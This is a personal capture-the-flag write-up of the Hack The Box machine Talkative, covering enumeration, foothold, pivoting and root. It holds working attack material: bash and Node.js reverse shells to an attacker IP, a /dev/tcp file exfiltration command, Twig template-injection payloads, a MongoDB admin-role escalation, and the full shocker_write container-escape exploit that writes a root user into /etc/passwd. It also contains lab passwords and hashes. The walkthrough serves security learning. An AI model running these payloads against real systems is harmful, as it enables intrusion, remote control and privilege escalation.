Published on

HTB Talkative

Authors

Talkative

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

└─$ nmap -p- -Pn $IP -o full-enumerate.nmap       
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-31 21:12 EDT
Nmap scan report for 10.10.11.155
Host is up (0.040s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   filtered ssh
80/tcp   open     http
8080/tcp open     http-proxy
8081/tcp open     blackice-icecap
8082/tcp open     blackice-alerts

Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap check UDP

sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap

0

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

└─$ nmap -p 22,80,8080,8081,8082 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap                                                                                                         130 ⨯
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-31 21:27 EDT
Nmap scan report for talkative.htb (10.10.11.155)
Host is up (0.040s latency).

PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
80/tcp   open     http    Apache httpd 2.4.52
| http-headers: 
|   Date: Fri, 01 Sep 2023 01:28:08 GMT
|   Server: Apache/2.4.52 (Debian)
|   X-Powered-By: PHP/7.4.28
|   Cache-Control: max-age=0, must-revalidate, private
|   permissions-policy: interest-cohort=()
|   X-Powered-By: Bolt
|   Link: <http://talkative.htb/api/docs.jsonld>; rel="http://www.w3.org/ns/hydra/core#apiDocumentation"
|   Expires: Fri, 01 Sep 2023 01:28:08 GMT
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Talkative.htb | Talkative
|_http-generator: Bolt
8080/tcp open     http    Tornado httpd 5.0
| http-headers: 
|   Connection: close
|   Content-Length: 1067
|   Last-Modified: Mon, 22 Oct 2018 06:15:47 GMT
|   Date: Fri, 01 Sep 2023 01:28:06 GMT
|   Server: TornadoServer/5.0
|   Accept-Ranges: bytes
|   Etag: "b6b21222e1bc33c830db78ddc465c0e5"
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: TornadoServer/5.0
|_http-title: jamovi
8081/tcp open     http    Tornado httpd 5.0
| http-headers: 
|   Server: TornadoServer/5.0
|   Content-Type: text/html; charset=UTF-8
|   Connection: close
|   Content-Length: 69
|   Date: Fri, 01 Sep 2023 01:28:06 GMT
|   
|_  (Request type: GET)
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
8082/tcp open     http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
| http-headers: 
|   Server: TornadoServer/5.0
|   Content-Type: text/html; charset=UTF-8
|   Connection: close
|   Content-Length: 69
|   Date: Fri, 01 Sep 2023 01:28:06 GMT
|   
|_  (Request type: GET)
Service Info: Host: 172.17.0.8

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

nothing

Port Enumeration

**Port 80


****************Port 8080

Untitled

Untitled

  • intern=TRUE is just R language that tells system() to capture the standard output of the command and return it as a character vector. If I did like intern=FALSE the command would be executed but the output wouldn’t be there.
    • On another note, if I didn’t supply intern=TRUE at all, the exploit won’t work

Onto Foothold


Exploitation

**********Port 8080

Foothold

jamovi RCE

  1. In the R field, I sent it:
# summary(data[1:3])
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.4/9001 0>&1'", intern=TRUE)
  • bash -c is passing the shell /bin/bash -i ... which is a little different compared to what I am usually used to. This is because in R we are passing a process through standard output of R with intern=TRUE, so we pass bash twice technically. We are basically using bash to call bash. That is why our reverse shell is in single quotes too, it is what bash -c '' is passing.

Untitled

  1. We see bolt-administration.omv in /root
  2. Download to local machine with /dev/tcp
    1. Target: cat bolt-administration.omv > /dev/tcp/10.10.16.4/9000
    2. Local: nc -lvnp 9000 > bolt-administration.omv

Seems to be a JAR file

Untitled

  1. unzip bolt-administration.omv
    1. I only know this is a zip file cuz of the CVE writeup on XSS here lol

      Untitled

  2. cat xdata.json
{"A": {"labels": [[0, "Username", "Username", false], [1, "matt@talkative.htb", "matt@talkative.htb", false], [2, "janit@talkative.htb", "janit@talkative.htb", false], [3, "saul@talkative.htb", "saul@talkative.htb", false]]}, "B": {"labels": [[0, "Password", "Password", false], [1, "jeO09ufhWD<s", "jeO09ufhWD<s", false], [2, "bZ89h}V<S_DA", "bZ89h}V<S_DA", false], [3, ")SQWGm>9KHEA", ")SQWGm>9KHEA", false]]}, "C": {"labels": []}}

Looks like we have passwords for matt, janit, and saul. Gonna try them in ssh I guess

lul had to look at the writeup cuz apparently my nmap didn’t pick up that there is another open port on 3000 which is Rocket Chat

  • nmap scanning port 3000

    nmap -p 3000 -A --script default --script http-methods --script http-headers 10.10.11.155
    Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 00:14 EDT
    Nmap scan report for talkative.htb (10.10.11.155)
    Host is up (0.027s latency).
    
    PORT     STATE SERVICE VERSION
    3000/tcp open  ppp?
    | fingerprint-strings: 
    |   GetRequest, HTTPOptions: 
    |     HTTP/1.1 200 OK
    |     X-XSS-Protection: 1
    |     X-Instance-ID: Dv3GbAChoEtmfTGkp
    |     Content-Type: text/html; charset=utf-8
    |     Vary: Accept-Encoding
    |     Date: Fri, 01 Sep 2023 04:14:18 GMT
    |     Connection: close
    |     <!DOCTYPE html>
    |     <html>
    |     <head>
    |     <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
    |     <meta charset="utf-8" />
    |     <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    |     <meta http-equiv="expires" content="-1" />
    |     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    |     <meta name="fragment" content="!" />
    |     <meta name="distribution" content="global" />
    |     <meta name="rating" content="general" />
    |     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
    |     <meta name="mobile-web-app-capable" content="yes" />
    |     <meta name="apple-mobile-web-app-capable" conten
    |   Help, NCP:
    

Note from the future, a button on the page at the bottom actually led to port 3000:

Untitled

Rocket chat

  • Tried logging in with credentials above, none worked
  • Registered my own account with asdasdasd@talkative.htb every other @domain was being rendered as invalid.
  • In #general we see Saul Goodman is admin

Untitled

Bolt CMS

  • Since it is Bolt CMS we can just go to /bolt and there is a login page so let’s try out credentials here
  • admin:jeO09ufhWD<s works, this is matt's password why it worked this way but it did

Template injection on Bolt CMS

  1. File management → View & edit templates

  2. On talkative.htb in the source code we see the stylesheet is referencing /theme/base-2021

    Untitled

  3. So in Bolt we can go there

    Untitled

    Untitled

  • index.twig , when I see index I think of main page right cause index.html is a thing
  1. Found an index.twig so added my name in it to see if it would reflect

    1. clear cache after saving as well http://talkative.htb/bolt/clearcache

      Untitled

  2. Go to talkative.htb

    Untitled

  3. Can probably call bash now

Code is now reflecting to the web app, now we do SSTI → reverse shell

  1. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/README.md#twig---code-execution
  2. Sent it the payload {{['id']|filter('system')}}

Untitled

Untitled

  1. Now we just change id to a reverse shell
    1. Did the bash -c thing I learned from the jamovi exploit

Untitled

Untitled

Enumerating www-data shell

  1. hostname -i shows something interesting

    Untitled

  2. Checking cat /proc/net/fib_trie

  • result

    Untitled

  1. We see 172.17.0.0 in here

    172.17.0.0 is the local IP of the machine. This IP is not reachable from the VPN connection like when I scanned it with nmap. Trying all the users we got earlier like matt saul etc here with their passwords is likely a good idea

  • So this machine does have ssh, and in /proc/net/fib_trie we see 172.17.0.0/28 so things are probably hosted in .1 .2 etc, and ssh is probably one of them.
  1. Manual ssh brute forcing
    1. matt doesn’t work
    2. saul:jeO09ufhWD<s works

nice user.txt is here ha

We are now saul SSH, idk when root, so we keep going lol

  1. linpeas.sh poi’s
    1. lots of Exploit Suggesters

    2. weird container from root

      Untitled

    3. PPID belongs to root for www-data? idk

      Untitled

    4. ooo here’s the docker container which we ssh'd to I believe

      Untitled

    5. /var/lib/php/sessions

scan the local network with nmap

  1. static host single file of nmap https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
  2. mv ~/Downloads/nmap .
  3. http
  4. wget http://10.10.16.4/nmap
  5. ./nmap 172.17.0.0/24 -p- -T4
  • results

    saul@talkative:/tmp$ ./nmap 172.17.0.0/24 -p- -T4
    
    Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-09-03 04:47 UTC
    Unable to find nmap-services!  Resorting to /etc/services
    Cannot find nmap-payloads. UDP payloads are disabled.
    Nmap scan report for 172.17.0.1
    Host is up (0.00040s latency).
    Not shown: 65515 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    6000/tcp open  x11
    6001/tcp open  x11-1
    6002/tcp open  x11-2
    6003/tcp open  x11-3
    6004/tcp open  x11-4
    6005/tcp open  x11-5
    6006/tcp open  x11-6
    6007/tcp open  x11-7
    6008/tcp open  unknown
    6009/tcp open  unknown
    6010/tcp open  unknown
    6011/tcp open  unknown
    6012/tcp open  unknown
    6013/tcp open  unknown
    6014/tcp open  unknown
    6015/tcp open  unknown
    8080/tcp open  http-alt
    8081/tcp open  tproxy
    8082/tcp open  unknown
    
    Nmap scan report for 172.17.0.2
    Host is up (0.00032s latency).
    Not shown: 65534 closed ports
    PORT      STATE SERVICE
    27017/tcp open  unknown
    
    Nmap scan report for 172.17.0.3
    Host is up (0.00030s latency).
    Not shown: 65534 closed ports
    PORT     STATE SERVICE
    3000/tcp open  unknown
    
    Nmap scan report for 172.17.0.4
    Host is up (0.00034s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.5
    Host is up (0.00041s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.6
    Host is up (0.00035s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.7
    Host is up (0.00034s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.8
    Host is up (0.000083s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.9
    Host is up (0.00026s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.10
    Host is up (0.00025s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.11
    Host is up (0.00033s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.12
    Host is up (0.00029s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.13
    Host is up (0.00031s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.14
    Host is up (0.00029s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.15
    Host is up (0.00034s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.16
    Host is up (0.00025s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.17
    Host is up (0.00031s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.18
    Host is up (0.00028s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.19
    Host is up (0.00029s latency).
    Not shown: 65534 closed ports
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap done: 256 IP addresses (19 hosts up) scanned in 56.55 seconds
    
  1. On port 172.17.0.2 port 27017 catches my eye which is new

MongoDB found

  1. Quick google search of port 27017 shows that this is the default port of MongoDB

Using Chisel to create a tunnel to MongoDB

  1. Download https://github.com/jpillora/chisel to the target box chisel_1.9.1_linux_amd64 so we can just call it from this file: https://github.com/jpillora/chisel/releases
  2. First start a chisel server Locally:
    1. chisel server -p 8000 --reverse

      Untitled

    2. --reverse says that I want clients to be able to open ports on my Local Host.

  3. Now on the Target we can connect to the Local Server we just made:
    1. ./chisel_1.9.1_linux_amd64 client 10.10.16.4:8000 R:27017:172.17.0.2:27017

      Untitled

      Untitled

Enumerate MongoDB

  1. Now Locally we can boot up mongo and it will route to my localhost and realize port 27017 is open, which is the chisel listening port.

  2. mongo

    Untitled

  3. show databases

    Untitled

    1. admin, config, and local are default mongo databases, so first we check meteor
  4. use meteor

  5. db.users.find()

    1. enumerate users
rs0:PRIMARY> db.users.find()
{ "_id" : "rocket.cat", "createdAt" : ISODate("2021-08-10T19:44:00.224Z"), "avatarOrigin" : "local", "name" : "Rocket.Cat", "username" : "rocket.cat", "status" : "online", "statusDefault" : "online", "utcOffset" : 0, "active" : true, "type" : "bot", "_updatedAt" : ISODate("2021-08-10T19:44:00.615Z"), "roles" : [ "bot" ] }
{ "_id" : "ZLMid6a4h5YEosPQi", "createdAt" : ISODate("2021-08-10T19:49:48.673Z"), "services" : { "password" : { "bcrypt" : "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y" }, "email" : { "verificationTokens" : [ { "token" : "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w", "address" : "saul@talkative.htb", "when" : ISODate("2021-08-10T19:49:48.738Z") } ] }, "resume" : { "loginTokens" : [ ] } }, "emails" : [ { "address" : "saul@talkative.htb", "verified" : false } ], "type" : "user", "status" : "offline", "active" : true, "_updatedAt" : ISODate("2023-09-02T13:47:17.804Z"), "roles" : [ "admin" ], "name" : "Saul Goodman", "lastLogin" : ISODate("2022-03-15T17:06:56.543Z"), "statusConnection" : "offline", "username" : "admin", "utcOffset" : 0 }
{ "_id" : "9YppDMfjZMzASJNru", "createdAt" : ISODate("2023-09-02T17:26:22.767Z"), "services" : { "password" : { "bcrypt" : "$2b$10$tIkcArodgY0d1bfIQesr0Owb0GRM/T7.cx4aOb6.9tw/6RteH6aMO", "reset" : { "token" : "2C_wTq7IVUJhlKNFoqpCFweYeMa7ZFJBbrhFizqGD46", "email" : "asdasdasd@talkative.htb", "when" : ISODate("2023-09-02T17:26:29.991Z"), "reason" : "enroll" } }, "email" : { "verificationTokens" : [ { "token" : "jGYicH4bmwsJvd_nHNGR0X2KiJh1vqE3TaEpYkdx5xP", "address" : "asdasdasd@talkative.htb", "when" : ISODate("2023-09-02T17:26:23.523Z") } ] }, "resume" : { "loginTokens" : [ { "when" : ISODate("2023-09-02T17:26:24.831Z"), "hashedToken" : "x3ON9gQteocofmg++7C+BxlE4Kx1ak0V/PzordPEZEk=" } ] } }, "emails" : [ { "address" : "asdasdasd@talkative.htb", "verified" : false } ], "type" : "user", "status" : "away", "active" : true, "_updatedAt" : ISODate("2023-09-03T05:09:34.331Z"), "roles" : [ "user" ], "name" : "asdasdasd", "lastLogin" : ISODate("2023-09-02T17:26:24.355Z"), "statusConnection" : "away", "utcOffset" : -4, "username" : "asdasdasd" }
rs0:PRIMARY>
  • 3 id entries, rocket.cat, ZLMid6a4h5YEosPQi, and 9YppDMfjZMzASJNru
    • The third one has the account I made asdasdasd@talkative.htb and the second one seems to be an admin entry of saul@talkative.htb
  1. db.users.update({"_id" : "9YppDMfjZMzASJNru"}, { $set : {"roles" : ["admin"]}})
    1. This will update our id's account role with admin
  2. http://10.10.11.155:3000/admin
    1. Visiting this proves we are admin and have full control over the Rocket Chat now

      Untitled

  3. Googled “rocket chat authenticated RCE” and came across Hack Tricks
    1. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/rocket-chat

      1. Followed the documentation
    2. http://10.10.11.155:3000/admin/integrations/incoming

      Untitled

      Untitled

  • code (didn’t work)

    (function(){
      	var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("sh", []);
      	var client = new net.Socket();
      	client.connect(9001, "10.10.16.4", function(){
          	client.pipe(sh.stdin);
          	sh.stdout.pipe(client);
          	sh.stderr.pipe(client);
        });
      	return /a/; // prevents node.js application from crashing
    })();
    
  • code (worked, sent it a const require to return a process)

    (function(){
      	const require = console.log.constructor('return process.mainModule.require')();
      	var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("sh", []);
      	var client = new net.Socket();
      	client.connect(9001, "10.10.16.4", function(){
          	client.pipe(sh.stdin);
          	sh.stdout.pipe(client);
          	sh.stderr.pipe(client);
        });
      	return /a/; // prevents node.js application from crashing
    })();
    
  1. Saved it, went back a page, came back to it, copy the Webhook URL

    Untitled

  2. Call the Webhook URL with curl http://10.10.11.155:3000/hooks/LXtMCMsyvYThYm6Bf/AuEk6duZNYDj63FdmYvg2wMeYwRtnt7i8AMRYDEfqatZDosZ and should get a shell

Untitled

Root

  • We are now .3 which is interesting, we are pivoting through this mf network

Untitled

  • So we are root now, but there is no root flag. Likely we need to pivot again and then there will be the root flag.
  1. capsh
bash: capsh: command not found
  1. We need to download libcap and libcap2-bin
    1. Local:
    2. wget http://ftp.de.debian.org/debian/pool/main/libc/libcap2/libcap2_2.66-4_amd64.deb
    3. wget http://ftp.de.debian.org/debian/pool/main/libc/libcap2/libcap2-bin_2.66-4_amd64.deb
  2. Did bash upload from my Protocols & Servers page

Untitled

  1. dpkg --install <each file>
  2. capsh --print

(had to grab everything from the writeup here because I didn’t feel like compiling these .deb files on a container outdated enough for it to work):

mine:

Untitled

How it should be:

Untitled

  1. cap_dac_read_search is enabled, which in HackTricks tells us it is vulnerable to the shocker exploit. https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_read_search

    Untitled

  1. Here i compiled shocker in my “Compiling old exploits for old machines cuz old” notion page so it would execute correctly, which is just following this methodology:

Untitled

  1. Transported shocker with bash upload method

    Untitled

  2. Gotta change shocker.c source a bit to read root.txt fuck

Untitled


Exploiting with shocker_write because cap_dac_override is available as well

  • shocker_write.c

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <dirent.h>
    #include <stdint.h>
    
    // gcc shocker_write.c -o shocker_write
    // ./shocker_write /etc/passwd passwd 
    
    struct my_file_handle {
      unsigned int handle_bytes;
      int handle_type;
      unsigned char f_handle[8];
    };
    void die(const char * msg) {
      perror(msg);
      exit(errno);
    }
    void dump_handle(const struct my_file_handle * h) {
      fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
        h -> handle_type);
      for (int i = 0; i < h -> handle_bytes; ++i) {
        fprintf(stderr, "0x%02x", h -> f_handle[i]);
        if ((i + 1) % 20 == 0)
          fprintf(stderr, "\n");
        if (i < h -> handle_bytes - 1)
          fprintf(stderr, ", ");
      }
      fprintf(stderr, "};\n");
    } 
    int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
    {
      int fd;
      uint32_t ino = 0;
      struct my_file_handle outh = {
        .handle_bytes = 8,
        .handle_type = 1
      };
      DIR * dir = NULL;
      struct dirent * de = NULL;
      path = strchr(path, '/');
      // recursion stops if path has been resolved
      if (!path) {
        memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
        oh -> handle_type = 1;
        oh -> handle_bytes = 8;
        return 1;
      }
      ++path;
      fprintf(stderr, "[*] Resolving '%s'\n", path);
      if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");
      if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");
      for (;;) {
        de = readdir(dir);
        if (!de)
          break;
        fprintf(stderr, "[*] Found %s\n", de -> d_name);
        if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
          fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
          ino = de -> d_ino;
          break;
        }
      }
      fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
      if (de) {
        for (uint32_t i = 0; i < 0xffffffff; ++i) {
          outh.handle_bytes = 8;
          outh.handle_type = 1;
          memcpy(outh.f_handle, & ino, sizeof(ino));
          memcpy(outh.f_handle + 4, & i, sizeof(i));
          if ((i % (1 << 20)) == 0)
            fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
          if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
            closedir(dir);
            close(fd);
            dump_handle( & outh);
            return find_handle(bfd, path, & outh, oh);
          }
        }
      }
      closedir(dir);
      close(fd);
      return 0;
    }
    int main(int argc, char * argv[]) {
      char buf[0x1000];
      int fd1, fd2;
      struct my_file_handle h;
      struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {
          0x02,
          0,
          0,
          0,
          0,
          0,
          0,
          0
        }
      };
      fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
        "[***] The tea from the 90's kicks your sekurity again. [***]\n"
        "[***] If you have pending sec consulting, I'll happily [***]\n"
        "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
      read(0, buf, 1);
      // get a FS reference from something mounted in from outside
      if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
        die("[-] open");
      if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
        die("[-] Cannot find valid handle!");
      fprintf(stderr, "[!] Got a final handle!\n");
      dump_handle( & h);
      if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
        die("[-] open_by_handle");
      char * line = NULL;
      size_t len = 0;
      FILE * fptr;
      ssize_t read;
      fptr = fopen(argv[2], "r");
      while ((read = getline( & line, & len, fptr)) != -1) {
        write(fd2, line, read);
      }
      printf("Success!!\n");
      close(fd2);
      close(fd1);
      return 0;
    }
    
  1. Compile this in my local container for old exploits, then bring it to the machine as shocker_write.
  2. Locally, create a hash for the password “collinhacks”
    1. openssl passwd -1 collinhacks

Untitled

  1. Now we go back to saul machine, cancel the chisel request because we don’t need the MongoDB anymore, and grab the entire /etc/passwd information and put our own at the bottom:
  • custom /etc/passwd on saul

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:110:1::/var/cache/pollinate:/bin/false
    usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
    sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash
    collinhacks:$1$o1fz0lLr$EMcx0UpYt03VGUIA.hfbN1:0:0:pwned:/root:/bin/bash
    
  1. At the bottom we see collinhacks:$1$o1fz0lLr$EMcx0UpYt03VGUIA.hfbN1:0:0:pwned:/root:/bin/bash
  2. Put this entire /etc/passwd file into something we can easily come back to, like Notepad on host machine. Copy this entire file into a file called passwd on the target machine, and run it with:
    1. ./shocker_write /etc/passwd passwd

Untitled

  1. Now we go back to saul and we can see our entry is in the bottom of /etc/passwd:

Untitled

  1. Quickly ssh collinhacks@127.0.0.1 before the docker refreshes and deletes our entry from shocker_write
    1. Password is collinhacks because that is what we set it to Locally with openssl

Untitled


Useful resource links

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

https://github.com/jpillora/chisel

https://command-not-found.com/capsh

https://gist.github.com/jadell/871512

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/rocket-chat

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_override

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_read_search

Lessons Learned

  • Learned how to exploit old jamovi versions
  • Learned the functionality behind Bolt CMS
  • Practiced with some good ol SSTI
  • Practiced pivoting
  • Learned some MongoDB commands
  • Learned how to cap_dac from capsh not being installed → exploiting with shocker

cool to see

Untitled

Untitled